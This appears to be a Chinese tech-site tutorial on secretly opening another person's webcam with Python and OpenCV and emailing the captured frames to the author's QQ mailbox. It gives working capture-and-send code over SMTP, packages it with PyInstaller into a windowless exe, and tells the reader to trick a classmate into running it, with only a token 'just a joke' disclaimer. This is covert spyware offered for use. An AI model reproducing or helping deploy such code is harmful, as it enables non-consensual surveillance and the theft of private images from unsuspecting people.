溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么用python打開攝像頭并把圖像傳回qq郵箱

發(fā)布時間:2020-07-23 16:57:29 來源:億速云 閱讀:175 作者:小豬 欄目:開發(fā)技術(shù)

這篇文章主要講解了怎么用python打開攝像頭并把圖像傳回qq郵箱,內(nèi)容清晰明了,對此有興趣的小伙伴可以學(xué)習(xí)一下,相信大家閱讀完之后會有幫助。

前言:

如何悄悄的打開朋友的攝像頭,看看她最近過的怎么樣,嘿嘿!這次讓我?guī)銈儊韺?shí)現(xiàn)這個功能。

注: 這個程序僅限在朋友之間開玩笑,別去搞什么違法的事情哦。

代碼

發(fā)送郵件

使用python內(nèi)置的email模塊即可完成。導(dǎo)入相應(yīng)的代碼封裝為一個send函數(shù),順便導(dǎo)入需要導(dǎo)入的包
注: 下面的代碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權(quán)碼,不知道qq郵箱授權(quán)碼的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '寫你的qq郵箱地址'
  receivers = '寫你的qq郵箱地址'
  message = MIMEMultipart('related')
  subject = '終于能發(fā)圖片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '寫授權(quán)碼')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打開攝像頭并發(fā)送圖片

我們使用opencv打開筆記本內(nèi)置的攝像頭,不多說上代碼

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller將程序打包

好不容易寫好了代碼,結(jié)果同學(xué)那里沒有運(yùn)行環(huán)境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個exe文件,照片還不是手到擒來。

我們使用pyinstaller來打包,沒有下載的可以先pip安裝

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我們打開cmd,cd到你的代碼所在的文件,輸入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一會,等運(yùn)行完了之后你就會發(fā)現(xiàn)在你的代碼所在的文件夾里多了一個dist的文件夾,exe文件就在那里。

下面就是最關(guān)鍵的一步了!

忽悠同學(xué)

找個同學(xué)忽悠她一下

怎么用python打開攝像頭并把圖像傳回qq郵箱

看完上述內(nèi)容,是不是對怎么用python打開攝像頭并把圖像傳回qq郵箱有進(jìn)一步的了解,如果還想學(xué)習(xí)更多內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI